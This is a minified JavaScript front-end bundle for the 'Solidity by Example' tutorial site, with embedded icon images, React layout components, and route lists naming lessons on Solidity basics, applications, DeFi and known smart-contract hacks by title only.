VbimkdYrHMrucQ1jfjQAsW1nVOXuOZTkHMrvMQ1jROhLart3PT5CEU5t9JLXNM4EVqA3rktrMQ1B2rn1oUS1zTOhJbSuT2pHdwU1M6tCyWuaZx6NFTO7cx2cFMQObcS2sGz4FRoKZzbee3gpsjr3EppB8+CU6EF8ju3c9vBTZHTuZXSDp4F50Kbx7lN3g5uhszOraB28Cw4F1ogu3ObtB3cGBmdW0nt4FlwMrRAeuc2bTu4KVI7t8LawbPgbGjTOLdZ2sFNkda5ldYOngVnQwskd24zt4ObIqFzK7EdPAtOhzaJc1u0K0tFEudWYjt4Fpx/hPOc29zt4KaY49xKbQfPgvOhPc25NeXKUjHLuZXcDp4F50MLzHZujbmyVMxwbl1yZZOwEKEFbnduzbuyVEw5t465sklYmNBOO7dcS1zzUIE6Nrd1zZVNwsKEFrjl3NpyZckoHZTAXHRlk7BQoQ13Sqj9aUlEiWseQTdEy0FXNgnqvs89IKDe4/HcYvHeph7x+NB6xOFD6xGHD61HHD60HnH40HrE4UPrEYcPrUccPrQecfjQesThQ+sRhw+tRxw+tB5x+NB6xOFD6xGHD61HHD60HnH40HrE8T8YG8SKlmk4HgAAAABJRU5ErkJggg==",Ig="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",BC="/assets/telegram-zGrx4xca.png",VC="/assets/discord-akqDA9xj.png";function fC(){return r.jsxs("div",{className:ds.component,children:[r.jsxs("div",{className:ds.row,children:[r.jsx("img",{src:GC,alt:"smart contract engineer",className:ds.sce}),r.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),r.jsxs("div",{className:ds.social,children:[r.jsxs("div",{className:ds.row,children:[r.jsx("img",{src:VC,alt:"discord",className:ds.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:ds.row,children:[r.jsx("img",{src:BC,alt:"telegram",className:ds.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:ds.row,children:[r.jsx("img",{src:Ig,alt:"youtube",className:ds.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:ds.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:ds.row,children:[r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"Source"}),r.jsx("div",{className:ds.bar,children:"|"}),r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"License"}),r.jsx("div",{className:ds.bar,children:"|"}),r.jsx("a",{href:dg,target:"__blank",children:"Solidity jobs"})]})]})}const YC=({children:s})=>{const{state:a}=et(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Rl.component,children:[r.jsx("div",{ref:n,className:Rl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(pC,{onClick:l}):null}),r.jsxs("div",{className:Rl.main,children:[r.jsx(jC,{}),r.jsxs("div",{className:Rl.children,children:[s,r.jsx(fC,{})]})]})]})},Cg=({title:s,description:a})=>(W.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),Yo=' ',RC='';function XC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(d){d.preventDefault(),a(p.childNodes[0]),c.innerHTML=RC}function o(d){d.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(XC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),NC="_component_ni5i2_1",HC="_content_ni5i2_5",FC="_prevNext_ni5i2_8",he={component:NC,content:HC,prevNext:FC},u=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>r.jsxs("div",{className:he.component,children:[r.jsx(Cg,{title:`${s} | Solidity by Example | ${a}`,description:n}),r.jsxs("div",{className:he.content,children:[r.jsx("h2",{children:s}),r.jsx(vC,{html:l}),r.jsxs("div",{className:he.prevNext,children:[p&&r.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&r.jsxs("a",{href:e.path,children:[e.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:c.map(({fileName:t,code:o},i)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},i))})]})]}),KC="0.8.24",SC="ABI Decode",MC="ABI decode bytes",xC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],JC=`

abi.encode encodes data into bytes.

+ */function rc(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Fd(s,a){let n=rc(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Sd="startTransition",Bo=Hg[Sd];function Md(s){let{basename:a,children:n,future:l,window:p}=s,e=B.useRef();e.current==null&&(e.current=UI({window:p,v5Compat:!0}));let c=e.current,[t,o]=B.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=B.useCallback(d=>{i&&Bo?Bo(()=>o(d)):o(d)},[o,i]);return B.useLayoutEffect(()=>c.listen(I),[c,I]),B.createElement(Nd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Go;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Go||(Go={}));var Vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Vo||(Vo={}));function xd(s){let a=B.useRef(rc(s)),n=B.useRef(!1),l=Hp(),p=B.useMemo(()=>Fd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=B.useCallback((t,o)=>{const i=rc(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const Jd="_component_nqcni_1",zd="_sideNav_nqcni_6",Ed="_main_nqcni_13",Dd="_children_nqcni_21",Rl={component:Jd,sideNav:zd,main:Ed,children:Dd},Td="_list_1ltry_1",Ud="_title_1ltry_6",Qd="_listItem_1ltry_11",_d="_listItemActive_1ltry_18",Ld="_link_1ltry_26",xa={list:Td,title:Ud,listItem:Qd,listItemActive:_d,link:Ld},Od=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Pd=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],$d=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"}],qd=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],sC=[{path:"storage",title:"EVM Storage Layout"}],aC=[{path:"echidna",title:"Echidna"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],tt=[{title:"",routes:Pd.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:$d.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:qd.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:sC.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:aC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=tt.map(({routes:s})=>s).flat(),lC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Hp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),tt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!eg(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_15x91_1",oC="_a_15x91_13",rC="_center_15x91_16",iC="_logo_15x91_21",gC="_header_15x91_24",hC="_mode_15x91_28",IC="_hamburger_15x91_33",aa={component:tC,a:oC,center:rC,logo:iC,header:gC,mode:hC,hamburger:IC},dC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),CC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),jC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function uC(){const{state:s,setTheme:a,toggleSideNav:n}=et();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:aa.component,children:[r.jsx(cC,{size:20,className:aa.hamburger,onClick:n}),r.jsxs("div",{className:aa.center,children:[r.jsx("a",{href:"/",className:aa.a,children:r.jsx(jC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:aa.header,children:r.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),r.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?r.jsx(dC,{size:20}):r.jsx(CC,{size:20})})]})}const Ig="https://cryptojobslist.com/solidity",AC="_component_h47vh_1",yC="_row_h47vh_8",mC="_bar_h47vh_13",bC="_to_h47vh_21",wC="_social_h47vh_24",kC="_sce_h47vh_29",ZC="_telegram_h47vh_34",WC="_discord_h47vh_38",BC="_youTube_h47vh_42",Is={component:AC,row:yC,bar:mC,to:bC,social:wC,sce:kC,telegram:ZC,discord:WC,youTube:BC},GC="data:image/png;base64,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